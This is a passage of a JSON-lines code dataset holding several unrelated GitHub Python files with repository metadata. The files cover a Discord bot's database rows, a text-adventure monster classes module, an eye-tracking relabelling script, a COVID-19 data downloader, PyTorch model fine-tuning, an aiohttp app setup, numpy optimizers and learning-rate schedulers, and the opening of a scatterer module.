res)\n\n\ndef get_member_row(postgres: Postgres, member_id: int, guild_id: int,\n row_val=None):\n default = (str(member_id), str(guild_id), None)\n res = row_val or default\n return _MemberRow(postgres, res)\n\n\ndef get_user_row(postgres: Postgres, user_id: int, row_val=None):\n default = (str(user_id), None, None)\n res = row_val or default\n return _UserRow(postgres, res)\n","repo_name":"MaT1g3R/Hifumi-bot","sub_path":"data_controller/data_rows.py","file_name":"data_rows.py","file_ext":"py","file_size_in_byte":4783,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"34526612952","text":"import random\nfrom gameLogic.Observe import Observable\n\n# Npc is a class that has several monster subclasses. It is observable by the house.\nclass NPC(Observable):\n\n #initializes the generic monster, makes the monster observable.\n def __init__(self):\n Observable.__init__(self)\n self.name = 'generic'\n self.minattack = 1\n self.maxattack = 2\n self.health = 0\n self.weakness = 'generic'\n self.person = False\n\n # getattack returns the attack of the monster between the minattack and the maxattack\n def getattack(self):\n if not self.person:\n return random.randint(self.minattack, self.maxattack)\n else:\n return -1\n\n # getweakness checks to see if the weapon given is the monsters weakness.\n def getweakness(self, weapon):\n if weapon == self.weakness:\n return True\n return False\n\n # getname returns the name of the monster\n def getname(self):\n return self.name\n\n # attackturn is when the monster takes damage and gives damaage. If the monster is a person, it instead gives health\n # to the player.\n def attackturn(self, weapon, damage):\n\n if(self.person == False):\n self.takedamage(weapon, damage)\n else:\n print(\"A Person gives you candy! +1 candy +1 health!\")\n return self.getattack()\n\n # takedamage determines the damage based on the damage the player has used, and if the monster is weak to\n # the weapon the player used. If the monsters health reaches 0 it turns into a person.\n def takedamage(self, weapon, damage):\n if self.getweakness(weapon) is True:\n self.health = self.health - damage\n else:\n self.health = self.health - damage\n if self.health <= 0:\n self.turnperson()\n return\n\n # turnperson updates the observer when the monster has reached 0 health, and converts the monster into a player.\n def turnperson(self):\n self.update_observer(self)\n self.name = 'person'\n self.weakness = 'none'\n self.health = 100\n self.person = True\n\nclass Ghoul(NPC):\n\n #initializes monster-specific values, such as attack and weaknesses.\n def __init__(self):\n super().__init__()\n self.name = 'ghoul'\n self.minattack = 15\n self.maxattack = 31\n self.weakness = \"NerdBombs\"\n self.health = random.randint(40,80)\n\n # takedamage determines the damage based on the damage the player has used, and if the monster is weak to\n # the weapon the player used. If the monsters health reaches 0 it turns into a person.\n def takedamage(self, weapon, damage):\n if self.getweakness(weapon) is True:\n self.health = self.health - int((damage * 5))\n print(\"Critical! The Ghoul took \"+ str(int(damage*5)) + \" damage from that \" + weapon + \", good job!\")\n else:\n self.health = self.health - damage\n print(\"The Ghoul took \" + str(damage) + \" damage from that \" + weapon + \", nice!\")\n if self.health <= 0:\n print(\"The Ghoul has turned into a person!\")\n self.turnperson()\n return\n\nclass Vampire(NPC):\n\n #initializes monster-specific values, such as attack and weaknesses.\n def __init__(self):\n super().__init__()\n self.name = 'vampire'\n self.minattack = 10\n self.maxattack = 21\n self.weakness = 'ChocolateBars'\n self.health = random.randint(100,200)\n\n # takedamage determines the damage based on the damage the player has used, and if the monster is weak to\n # the weapon the player used. If the monsters health reaches 0 it turns into a person.\n def takedamage(self, weapon, damage):\n if self.getweakness(weapon) is True:\n self.health = self.health\n print(\"Ouch! The Vampire is immune to \" + weapon + \"!\")\n else:\n self.health = self.health - damage\n print(\"The Vampire took \" + str(damage) + \" damage from that \" + weapon + \", nice!\")\n if self.health <= 0:\n print(\"The Vampire has turned into a person!\")\n self.turnperson()\n return\n\nclass Werewolf(NPC):\n\n #initializes monster-specific values, such as attack and weaknesses.\n def __init__(self):\n super().__init__()\n self.name = 'werewolf'\n self.minattack = 1\n self.maxattack = 40\n self.weakness = 'ChocolateBars'\n self.weakness2 = 'SourStraws'\n self.health = 200\n\n # getweakness checks to see if the weakness of the monster is the same as the weapon, returns true if it is.\n # because the werewolf has two weaknesses, it needs its own function for it.\n def getweakness(self, weapon):\n if weapon == self.weakness:\n return True\n elif weapon == self.weakness2:\n return True\n return False\n\n def takedamage(self, weapon, damage):\n if self.getweakness(weapon) is True:\n print(\"Ouch! The Werewolf is immune to \" + weapon + \"!\")\n self.health = self.health\n else:\n print(\"The Werewolf took \" + str(damage) + \" damage from that \" + weapon + \", nice!\")\n self.health = self.health - damage\n if self.health <= 0:\n print(\"The Werewolf has turned into a person!\")\n self.turnperson()\n\nclass Zombie(NPC):\n\n #initializes monster-specific values, such as attack and weaknesses.\n def __init__(self):\n super().__init__()\n self.name = 'zombie'\n self.minattack = 1\n self.maxattack = 11\n self.weakness = 'SourStraws'\n self.health = random.randint(50,100)\n\n # takedamage determines the damage based on the damage the player has used, and if the monster is weak to\n # the weapon the player used. If the monsters health reaches 0 it turns into a person.\n def takedamage(self, weapon, damage):\n if self.getweakness(weapon) is True:\n print(\"Critical! The Zombie took \" + str(int(damage*2)) + \" damage from that \" + weapon + \", good job!\")\n self.health = self.health - int((damage * 2))\n else:\n print(\"The Zombie took \" + str(damage) + \" damage from that \" + weapon + \", nice!\")\n self.health = self.health - damage\n if self.health <= 0:\n print(\"The Zombie has turned into a person!\")\n self.turnperson()\n return\n\n","repo_name":"huttonb/CIS343zork","sub_path":"gameLogic/Monster.py","file_name":"Monster.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29111147989","text":"import os \n\nimport pandas as pd\n\n\nif __name__ == '__main__':\n\n # initialise key filepaths\n root_folder = os.getcwd()\n relabelled_filepath = os.path.join(root_folder, \"data\", \"raw\", \"relabelled.csv\")\n data_folder = os.path.join(root_folder, \"data\", \"raw\", \"final_dataset\")\n save_folder = os.path.join(root_folder, \"data\", \"raw\", \"relabelled_dataset\")\n\n # load data\n df = pd.read_csv(relabelled_filepath)\n print(df.head())\n print(df.shape)\n\n # extract participant and trial number\n\n count = 0\n for row in df[\"filename\"]:\n\n if row[-4:] == \".bmp\":\n count +=1\n continue\n \n # get key info from filename\n participant = row.split(\"/\")[0]\n trial = row.split(\"/\")[1]\n\n left_eye = True\n if \"right\" in row: \n left_eye=False\n\n img_number = (row.split(\"-\")[-1]).split(\"_\")[0]\n\n # find corresponding row in original dataframe\n corresponding_df = pd.read_csv(os.path.join(data_folder, participant+\"_\"+trial+\".csv\"))\n t = corresponding_df.index[corresponding_df[\"filename\"].str.contains(img_number)]\n\n print(corresponding_df.iloc[t])\n\n # get new x, y values\n x = df[\"x\"].iloc[count]\n y = df[\"y\"].iloc[count]\n\n if left_eye:\n corresponding_df[\"relative_lx\"].iloc[t] = x\n corresponding_df[\"relative_ly\"].iloc[t] = y\n else:\n corresponding_df[\"relative_rx\"].iloc[t] = x\n corresponding_df[\"relative_ry\"].iloc[t] = y\n\n print(corresponding_df.iloc[t])\n\n # save updated file\n corresponding_df[[\"filename\", \"relative_LE_left\", \"relative_LE_top\", \"relative_LE_right\", \"relative_LE_bottom\", \"relative_RE_left\", \"relative_RE_top\", \"relative_RE_right\", \"relative_RE_bottom\", \"lx\", \"ly\", \"rx\", \"ry\", \"relative_lx\", \"relative_ly\", \"relative_rx\", \"relative_ry\"]].to_csv(os.path.join(data_folder, participant+\"_\"+trial+\".csv\"))\n\n\n count+=1\n \n\n","repo_name":"gabriellamiles/Eye_Centre_Localisation_V2","sub_path":"src/data/update_with_relabelled_centres.py","file_name":"update_with_relabelled_centres.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"2399923","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime, timedelta\nfrom population import get_populations\nimport os\nimport requests\nfrom urllib import request\nfrom io import BytesIO, StringIO\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport json\nimport numpy as np\nimport re\n\nTYPES = ['Confirmed','Recovered','Deaths']\nOUTPUT = '/home/max/covid-19/resources'\nBRANCH = 'master'\nDAILY=\"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/{branch}/csse_covid_19_data/csse_covid_19_daily_reports/{date}.csv\"\nSERIES = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/{branch}/csse_covid_19_data/csse_covid_19_time_series/time_series_19-covid-{type}.csv'\nAGE_SHEET = '1jS24DjSPVWa4iuxuD4OAXrE3QeI8c9BC1hSlqr-NMiU'\nAGE_GID = 1187587451\n\ndef download_google_sheet(sheet, gid, savepath, name):\n \"\"\"\n Download sheet from Google Sheets as CSV.\n \"\"\"\n URL='https://docs.google.com/spreadsheets/d/{id}/export?format=csv&id={id}&gid={gid}'.format(id=sheet, gid=gid)\n print(\"Downloading: \" + URL)\n csv = requests.get(URL)\n outpath = os.path.join(savepath, name)\n with open(outpath, 'w') as f:\n f.write(csv.text)\n\nignore = ['Province/State','Country/Region','Lat','Long']\n\ndef download_daily(days = [1]):\n \"\"\"\n Download daily reports.\n \"\"\"\n for day in days:\n date = get_date(day)\n fpath = os.path.join(OUTPUT, date+'.csv')\n if not os.path.exists(fpath):\n url = DAILY.format(branch = BRANCH, date = date)\n print(url)\n request.urlretrieve(url, fpath)\n\ndef download_series_legacy(types = TYPES):\n \"\"\"\n Download time series.\n \"\"\"\n for type in types:\n fpath = os.path.join(OUTPUT, type+'.csv')\n url = SERIES.format(branch = BRANCH, type=type)\n print(url)\n request.urlretrieve(url, fpath)\n\ndef get_size(confirmed): \n return int(np.log(confirmed[-1] + 1) * 5) \n\ndef download_countries():\n print('Downloading world...')\n URL_FMT = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/{}/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_{}_global.csv'\n BRANCH = 'master'\n cases = ['confirmed','deaths','recovered']\n data = {}\n for c in cases:\n url = URL_FMT.format(BRANCH, c)\n r = requests.get(url)\n df = pd.read_csv(StringIO(r.text))\n for idx, row in df.iterrows():\n if row['Province/State'] != 'nan':\n name = row['Country/Region']\n else:\n name = row['Province/State']\n d = {}\n d['name'] = name\n d['lat'] = row['Lat']\n d['lon'] = row['Long']\n days = row.drop(['Province/State','Country/Region','Lat','Long'])\n values = list(days.values)\n d[c] = values\n if c == 'confirmed':\n d['size'] = get_size(values)\n if name in data:\n data[name][c] = values\n else:\n data[name] = d\n fout = os.path.join('resources','Countries.json')\n with open(fout,'w') as f:\n json.dump(data, f)\n print(fout)\n\ndef world_point():\n fout = os.path.join('resources','Countries.json')\n with open(fout,'r') as f:\n data = json.load(f)\n conf = None\n rec = None\n death = None\n for k,v in data.items():\n if conf is None:\n conf = np.zeros(len(v['confirmed']))\n rec = np.zeros(len(v['confirmed']))\n death = np.zeros(len(v['confirmed']))\n conf+=np.array(v['confirmed'])\n rec+=np.array(v['recovered'])\n death+=np.array(v['deaths'])\n d = {\n 'World':{\n 'name': 'World',\n 'confirmed':conf.tolist(),\n 'deaths':death.tolist(),\n 'recovered':rec.tolist(),\n 'size':get_size(conf),\n 'lat': -3.3,\n 'lon': -113.6,\n }\n }\n fout = os.path.join('resources','World.json')\n with open(fout,'w') as f:\n json.dump(d, f)\n print(fout)\n\ndef download_counties():\n print('Downloading counties...')\n URL = 'https://raw.githubusercontent.com/nytimes/covid-19-data/master/us-counties.csv'\n r = requests.get(URL)\n df = pd.read_csv(StringIO(r.text))\n # Get latest date.\n df['date'] = pd.to_datetime(df['date'])\n recent = df['date'].max()\n latest = df.loc[df['date'] == recent]\n data = {}\n for i, row in latest.iterrows():\n name = row['state']\n county = row['county']\n if name not in data:\n data[name] = {}\n data[name][county] = {'confirmed':row['cases'],'deaths':row['deaths']}\n return data\n\ndef download_states():\n print('Downloading states...')\n URL = 'https://raw.githubusercontent.com/nytimes/covid-19-data/master/us-states.csv'\n r = requests.get(URL)\n df = pd.read_csv(StringIO(r.text))\n with open('resources/state_coords.json', 'r') as f:\n states = json.load(f)\n points = {}\n max_len = 0;\n for k, v in states.items():\n data = {'name': k, 'lat': v['lat'], 'lon': v['lon'], 'confirmed':[],'deaths':[],'recovered':[]}\n for i, row in df.iterrows():\n if row['state'] == k:\n data['confirmed'].append(row['cases'])\n data['deaths'].append(row['deaths'])\n data['size'] = get_size(data['confirmed'])\n points[k] = data\n max_len = max(max_len, len(data['confirmed']))\n\n # Backfill data\n for k, v in points.items():\n while len(v['confirmed']) < max_len:\n v['confirmed'].insert(0,0)\n v['deaths'].insert(0,0)\n\n # Fill counties.\n counties = download_counties()\n for k, v in counties.items():\n try:\n points[k]['counties'] = v\n except:\n pass\n outfile = 'resources/States.json'\n with open(outfile, 'w') as f:\n json.dump(points,f)\n print(outfile)\n\ndef download_populations():\n print('Downloading populations...')\n outfile = os.path.join(OUTPUT,'populations.json')\n d = get_populations()\n with open(outfile, 'w') as f:\n json.dump(d,f)\n print(outfile)\n\ndef main():\n os.makedirs(OUTPUT, exist_ok=True)\n download_countries()\n world_point()\n download_populations()\n download_states()\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"maxwell-yaron/covid-19","sub_path":"update_dataset.py","file_name":"update_dataset.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20190943900","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.nn.functional as F\nfrom torch import nn\nfrom utils import *\nfrom statistics import pstdev\nfrom collections import OrderedDict\n\nWINDOW_LENGTH = 3\n\nclass Net(nn.Module):\n def __init__(self, num_classes, im_height, im_width, params=None):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 32, 3, padding=1)\n# self.conv2 = nn.Conv2d(32, 64, 3, padding=1)\n self.layer1 = nn.Linear(im_height * im_width * 32, num_classes)\n# self.layer2 = nn.Linear(1000, num_classes)\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n# x = self.conv2(x)\n x = x.flatten(1)\n# x = F.relu(self.layer1(x))\n x = self.layer1(x)\n return x\n\nclass DummyNet(nn.Module):\n def __init__(self, num_classes, im_height, im_width, params=None):\n super(DummyNet, self).__init__()\n self.layer1 = nn.Linear(im_height * im_width * 3, num_classes)\n self.optim_params = self.parameters()\n self.decay_schedule = params['decay_schedule']\n\n def forward(self, x):\n x = x.flatten(1)\n x = self.layer1(x)\n return x\n\ndef AlexFineTuned(num_classes, im_height, im_width, params=None):\n alexnet = torchvision.models.alexnet(pretrained=True)\n for param in alexnet.parameters():\n param.requires_grad = False\n num_features = alexnet.classifier[6].in_features\n alexnet.classifier[6] = nn.Linear(num_features, num_classes)\n return alexnet\n\ndef ResNetFineTuned(num_classes, im_height, im_width, params=None):\n # finetuning - https://medium.com/@14prakash/almost-any-image-classification-problem-using-pytorch-i-am-in-love-with-pytorch-26c7aa979ec4\n resnet = torchvision.models.resnet18(pretrained=True)\n return ResNetCommon(resnet, num_classes, params)\n\ndef ResNet34FineTuned(num_classes, im_height, im_width, params=None):\n resnet = torchvision.models.resnet34(pretrained=True)\n return ResNetCommon(resnet, num_classes, params)\n\ndef ResNextFineTuned(num_classes, im_height, im_width, params=None):\n resnext50_32x4d = torchvision.models.resnext50_32x4d(pretrained=True)\n return ResNetCommon(resnext50_32x4d, num_classes, params)\n\ndef ResNetCommon(resnet, num_classes, params=None):\n ct = 0\n resnet.optim_params = []\n\n if params != None:\n # Initialize learning rates\n resnet.decay_schedule = params['decay_schedule']\n lrs = params['lrs']\n partitions = params['partitions']\n dropout_rate = params.get('dropout_rate')\n dropout_layers = params.get('dropout_size')\n\n freeze_all = (partitions is None)\n\n if not freeze_all:\n partition_assignment = partitionList(\n sum([1 for _ in resnet.named_children()]), partitions)\n\n # Set defaults\n if params.get('bn_lr') is None: bn_lr = 0\n else: bn_lr = params['bn_lr']\n\n # Save other parameters\n \n if not freeze_all:\n num_features = resnet.fc.in_features\n if dropout_rate is None:\n resnet.fc = nn.Linear(num_features, num_classes)\n else:\n dropout_layers = [num_features * i \n for i in dropout_layers]\n layers = [num_features] + dropout_layers + \\\n [num_classes]\n resnet.fc = createDropoutUnit(dropout_rate,\n layers)\n\n for name, child in resnet.named_children():\n if not freeze_all:\n partition = partition_assignment[ct]\n for param_name, params in child.named_parameters():\n if freeze_all or lrs[partition] == 0:\n if \"bn\" in param_name and \\\n bn_lr > 0:\n optim_params = {'params': params}\n optim_params['lr'] = bn_lr\n resnet.optim_params.append(optim_params)\n else:\n params.requires_grad = False\n else:\n optim_params = {'params': params}\n optim_params['lr'] = lrs[partition]\n resnet.optim_params.append(optim_params)\n ct += 1\n if freeze_all:\n num_features = resnet.fc.in_features\n resnet.fc = nn.Linear(num_features, num_classes)\n else:\n # Validation case\n num_features = resnet.fc.in_features\n resnet.fc = nn.Linear(num_features, num_classes)\n\n return resnet\n\ndef createDropoutUnit(drop_rate, layer_sizes):\n layers = []\n prev = layer_sizes[0]\n for i, features in enumerate(layer_sizes[1:-1]):\n layers.extend([\n ('fc{}'.format(i), nn.Linear(prev, features)),\n ('drop{}'.format(i), nn.Dropout(p=drop_rate)),\n ('relu{}'.format(i), nn.ReLU(inplace=True)),\n ])\n\n prev = features\n layers.extend([\n ('fc', nn.Linear(prev, layer_sizes[-1]))\n ])\n\n return nn.Sequential(OrderedDict(layers))\n\n#########################################################################\n# DYNAMIC MODEL MODIFICATION\n#########################################################################\n\ndef decayLR(optim, epoch, model, history):\n decay_rate = model.decay_schedule[\"decay_rate\"]\n decay = model.decay_schedule[\"decay_coeff\"]\n decay_thres = model.decay_schedule[\"decay_thres\"]\n circular_lr = model.decay_schedule[\"circular_lr\"]\n\n isDecayEpoch = False\n if decay == 1:\n return optim\n elif decay_thres is not None:\n if len(history) < WINDOW_LENGTH: return optim\n if (pstdev(history[-WINDOW_LENGTH:]) < decay_thres):\n isDecayEpoch = True\n print(\"Decaying due to training plateau...\")\n else:\n isDecayEpoch = ((epoch + 1) % decay_rate == 0)\n\n if isDecayEpoch:\n for params_dict in model.optim_params:\n params_dict['lr'] = decay * params_dict['lr']\n\n if circular_lr is not None and epoch > 0:\n print (\"SHOULD NOT ENTER! CIRCULAR LR (WIP)\")\n if epoch % 2 == 1:\n mult = circular_lr\n else:\n mult = 1/circular_lr\n for params_dict in model.optim_params:\n params_dict['lr'] = mult * params_dict['lr']\n\n return torch.optim.Adam(model.optim_params)\n\nstr_to_net = {\n 'net': Net,\n 'dummy': DummyNet,\n 'alex': AlexFineTuned,\n 'res': ResNetFineTuned,\n 'res34': ResNet34FineTuned,\n 'resnext': ResNextFineTuned\n}\n\n","repo_name":"dhruvjhamb/raid-8","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19441633812","text":"from aiohttp import web\nimport aiohttp_jinja2\nimport jinja2\nfrom .routes import setup_routes\nimport asyncpgsa\n\n\n\n\ndef create_app(config:dict):\n app = web.Application()\n app['config'] = config\n aiohttp_jinja2.setup(app,\n loader = jinja2.PackageLoader('demo','temp')\n )\n setup_routes(app)\n app.on_startup.append(on_start)\n app.on_cleanup.append(on_shutdown)\n return app\n\n\n\n#выполнить сразу после запуска приложение\n\nasync def on_start(app):\n config = app['config']\n pass\n #conectString = 'Driver={PostgreSQL ANSI};Server=localhost;Port=5432;Database=nexus;Uid=postgres;Pwd=postgres;'\n app['db'] = await asyncpgsa.create_pool(dsn=config['database_url'])\n\n#закрить после соединение\nasync def on_shutdown(app):\n await app['db'].close()\n","repo_name":"solehi/nexusprojext","sub_path":"venv/demo/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22331689114","text":"\"\"\"Various optimization algorithms and learning rate schedulers.\"\"\"\n\nimport numpy as np\n\n\nclass Optimizer:\n\n def __init__(self, lr, weight_decay):\n self.lr = lr\n self.weight_decay = weight_decay\n\n def step(self, grads, params):\n # compute step according to derived class method\n grad_values = grads.values\n step_values = self._compute_step(grad_values)\n grads.values = step_values\n\n # apply weight_decay if specified\n if self.weight_decay:\n grads -= self.lr * self.weight_decay * params\n\n # take a step\n params += grads\n\n def _compute_step(self, grad):\n raise NotImplementedError\n\n\nclass SGD(Optimizer):\n\n def __init__(self, lr=0.01, weight_decay=0.0):\n super().__init__(lr, weight_decay)\n\n def _compute_step(self, grad):\n return -self.lr * grad\n\n\nclass Adam(Optimizer):\n\n def __init__(self,\n lr=0.001,\n beta1=0.9,\n beta2=0.999,\n epsilon=1e-8,\n weight_decay=0.0):\n super().__init__(lr, weight_decay)\n self._b1 = beta1\n self._b2 = beta2\n self._eps = epsilon\n\n self._t = 0\n self._m = 0\n self._v = 0\n\n def _compute_step(self, grad):\n self._t += 1\n\n self._m += (1.0 - self._b1) * (grad - self._m)\n self._v += (1.0 - self._b2) * (grad ** 2 - self._v)\n\n # bias correction\n _m = self._m / (1 - self._b1 ** self._t)\n _v = self._v / (1 - self._b2 ** self._t)\n\n step = -self.lr * _m / (_v ** 0.5 + self._eps)\n return step\n\n\nclass RAdam(Optimizer):\n \"\"\"Rectified Adam\n ref: https://arxiv.org/pdf/1908.03265v1.pdf\n \"\"\"\n def __init__(self,\n lr=0.001,\n beta1=0.9,\n beta2=0.999,\n epsilon=1e-8,\n weight_decay=0.0):\n super().__init__(lr, weight_decay)\n self._b1 = beta1\n self._b2 = beta2\n self._eps = epsilon\n\n self._t = 0\n self._m = 0\n self._v = 0\n\n self.rho = 2 / (1 - self._b2) - 1\n\n def _compute_step(self, grad):\n self._t += 1\n\n self._m += (1.0 - self._b1) * (grad - self._m)\n self._v += (1.0 - self._b2) * (grad ** 2 - self._v)\n\n # bias correction\n _m = self._m / (1 - self._b1 ** self._t)\n\n _rho = self.rho - 2 * self._b2 ** self._t / (1 - self._b2 ** self._t)\n if _rho > 4:\n _v = self._v / (1 - self._b2 ** self._t)\n _r = (((_rho - 4) * (_rho - 2) * self.rho) / \n ((self.rho - 4) * (self.rho - 2) * _rho))\n step = -self.lr * _m * (_r ** 0.5) / (_v ** 0.5 + self._eps)\n else:\n step = -self.lr * _m\n return step\n\n\nclass RMSProp(Optimizer):\n \"\"\"\n RMSProp maintain a moving (discounted) average of the square of gradients.\n Then divide gradients by the root of this average.\n\n mean_square = decay * mean_square{t-1} + (1-decay) * grad_t**2\n mom = momentum * mom{t-1} + lr * grad_t / sqrt(mean_square + epsilon)\n \"\"\"\n def __init__(self,\n lr=0.01,\n decay=0.99,\n momentum=0.0,\n epsilon=1e-8,\n weight_decay=0.0):\n super().__init__(lr, weight_decay)\n self._decay = decay\n self._momentum = momentum\n self._eps = epsilon\n\n self._ms = 0\n self._mom = 0\n\n def _compute_step(self, grad):\n self._ms += (1 - self._decay) * (grad ** 2 - self._ms)\n self._mom = self._momentum * self._mom + \\\n self.lr * grad / (self._ms + self._eps) ** 0.5\n\n step = -self._mom\n return step\n\n\nclass Momentum(Optimizer):\n \"\"\"\n accumulation = momentum * accumulation + gradient\n variable -= learning_rate * accumulation\n \"\"\"\n def __init__(self, lr, momentum=0.9, weight_decay=0.0):\n super().__init__(lr, weight_decay)\n self._momentum = momentum\n self._acc = 0\n\n def _compute_step(self, grad):\n self._acc = self._momentum * self._acc + grad\n step = -self.lr * self._acc\n return step\n\n\nclass Adagrad(Optimizer):\n \"\"\"\n AdaGrad optimizer (http://www.jmlr.org/papers/volume12/duchi11a/duchi11a.pdf)\n accumulation = - (learning_rate / sqrt(G + epsilon)) * gradient\n where G is the element-wise sum of square gradient\n \"\"\"\n def __init__(self, lr, weight_decay=0.0, epsilon=1e-8):\n super().__init__(lr, weight_decay)\n self._G = 0\n self._eps = epsilon\n\n def _compute_step(self, grad):\n self._G += grad ** 2\n adjust_lr = self.lr / (self._G + self._eps) ** 0.5\n step = -adjust_lr * grad\n return step\n\n\nclass Adadelta(Optimizer):\n \"\"\"\n Adadelta algorithm (https://arxiv.org/abs/1212.5701)\n \"\"\"\n def __init__(self, lr=1.0, weight_decay=0.0, decay=0.9, epsilon=1e-8):\n super().__init__(lr, weight_decay)\n self._eps = epsilon\n self._decay = decay\n self._Eg = 0 # running average of square gradient\n self._delta = 0 # running average of delta\n\n def _compute_step(self, grad):\n self._Eg += (1 - self._decay) * (grad ** 2 - self._Eg)\n std = (self._delta + self._eps) ** 0.5\n delta = grad * (std / (self._Eg + self._eps) ** 0.5)\n step = - self.lr * delta\n self._delta += (1 - self._decay) * (delta ** 2 - self._delta)\n return step\n\n\nclass BaseScheduler:\n \"\"\"\n BaseScheduler model receive a optimizer and Adjust the lr by calling\n step() method during training.\n \"\"\"\n def __init__(self, optimizer):\n self._optim = optimizer\n self._initial_lr = self.curr_lr\n\n self._t = 0\n\n def step(self):\n self._t += 1\n self._optim.lr = self._compute_lr()\n return self.curr_lr\n\n def _compute_lr(self):\n raise NotImplementedError\n\n @property\n def curr_lr(self):\n return self._optim.lr\n\n\nclass StepLR(BaseScheduler):\n \"\"\"\n LR decayed by gamma every \"step_size\" epochs.\n \"\"\"\n def __init__(self,\n optimizer,\n step_size,\n gamma=0.1):\n super().__init__(optimizer)\n assert step_size >= 1, \"step_size must greater than 0 (%d was set)\" % step_size\n self._step_size = step_size\n self._gamma = gamma\n\n def _compute_lr(self):\n decay = self._gamma if self._t % self._step_size == 0 else 1.0\n return decay * self.curr_lr\n\n\nclass MultiStepLR(BaseScheduler):\n \"\"\"\n LR decayed by gamma when the number of epoch reaches one of the milestones.\n Argument \"milestones\" must be a int list and be increasing.\n \"\"\"\n def __init__(self, optimizer, milestones, gamma=0.1):\n super().__init__(optimizer)\n milestones = [int(m) for m in milestones]\n assert all(x < y for x, y in zip(milestones[:-1], milestones[1:])) and \\\n all(isinstance(x, int) for x in milestones), \\\n \"milestones must be a list of int and be increasing!\"\n\n self._milestones = milestones\n self._gamma = gamma\n\n def _compute_lr(self):\n decay = self._gamma if self._t in self._milestones else 1.0\n return decay * self.curr_lr\n\n\nclass ExponentialLR(BaseScheduler):\n \"\"\"\n ExponentialLR is computed by:\n\n lr_decayed = lr * decay_rate ^ (current_steps / decay_steps)\n \"\"\"\n def __init__(self,\n optimizer,\n decay_steps,\n decay_rate=(1 / np.e)):\n super().__init__(optimizer)\n self._decay_steps = decay_steps\n self._decay_rate = decay_rate\n\n def _compute_lr(self):\n if self._t <= self._decay_steps:\n return self._initial_lr * \\\n self._decay_rate ** (self._t / self._decay_steps)\n else:\n return self.curr_lr\n\n\nclass LinearLR(BaseScheduler):\n \"\"\"\n Linear decay learning rate when the number of the epoche is in\n [start_step, start_step + decay_steps]\n \"\"\"\n def __init__(self,\n optimizer,\n decay_steps,\n final_lr=1e-6,\n start_step=0):\n super().__init__(optimizer)\n assert decay_steps > 0\n\n self._lr_delta = (final_lr - self._initial_lr) / decay_steps\n\n self._final_lr = final_lr\n self._decay_steps = decay_steps\n self._start_step = start_step\n\n def _compute_lr(self):\n if self._t > self._start_step:\n if self._t <= self._start_step + self._decay_steps:\n return self.curr_lr + self._lr_delta\n return self.curr_lr\n\n\nclass CyclicalLR(BaseScheduler):\n \"\"\"\n Cyclical increase and decrease learning rate within a reasonable range.\n See https://arxiv.org/pdf/1506.01186.pdf for details.\n \"\"\"\n def __init__(self,\n optimizer,\n cyclical_steps,\n max_lr=1e-2,\n min_lr=1e-3):\n super().__init__(optimizer)\n assert cyclical_steps > 2\n assert max_lr >= min_lr\n self._cyclical_steps = cyclical_steps\n self._min_lr = min_lr\n self._max_lr = max_lr\n self._abs_lr_delta = 2 * (max_lr - min_lr) / cyclical_steps\n\n def _compute_lr(self):\n if self._t % self._cyclical_steps < self._cyclical_steps // 2:\n return self.curr_lr + self._abs_lr_delta\n else:\n return self.curr_lr - self._abs_lr_delta\n","repo_name":"harishsg99/Oreoweb","sub_path":"oreoweb/core/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":9452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38018246476","text":"\"\"\"Implementations of Feature the model scattering objects.\n\nProvides some basic implementations of scattering objects\nthat are frequently used.\n\nClasses\n--------\nScatterer\n Abstract base class for scatterers\nPointParticle\n Generates point particles\nEllipse\n Generetes 2-d elliptical particles\nSphere\n Generates 3-d spheres\nEllipsoid\n Generates 3-d ellipsoids\n\"\"\"\n\n\nfrom typing import Callable, Tuple\nimport numpy as np\n\nfrom . import backend as D\nfrom .features import Feature, MERGE_STRATEGY_APPEND\nfrom .image import Image\nfrom . import image\nfrom .types import PropertyLike, ArrayLike\nimport warnings\n\n\nclass Scatterer(Feature):\n \"\"\"Base abstract class for scatterers.\n\n A scatterer is defined by a 3-dimensional volume of voxels.\n To each voxel corresponds an occupancy factor, i.e., how much\n of that voxel does the scatterer occupy. However, this number is not\n necessarily limited to the [0, 1] range. It can be any number, and its\n interpretation is left to the optical device that images the scatterer.\n\n This abstract class implements the `_process_properties` method to convert\n the position to voxel units, as well as the `_process_and_get` method to\n upsample the calculation and crop empty slices.\n\n Parameters\n ----------\n position : array_like of length 2 or 3\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n value : float\n A default value of the characteristic of the particle. Used by\n optics unless a more direct property is set (eg. `refractive_index`\n for `Brightfield` and `intensity` for `Fluorescence`).\n position_unit : \"meter\" or \"pixel\"\n The unit of the provided position property.\n\n Other Parameters\n ----------------\n upsample_axes : tuple of ints\n Sets the axes along which the calculation is upsampled (default is\n None, which implies all axes are upsampled).\n crop_zeros : bool\n Whether to remove slices in which all elements are zero.\n \"\"\"\n\n __list_merge_strategy__ = MERGE_STRATEGY_APPEND\n __distributed__ = False\n\n def __init__(\n self,\n position: 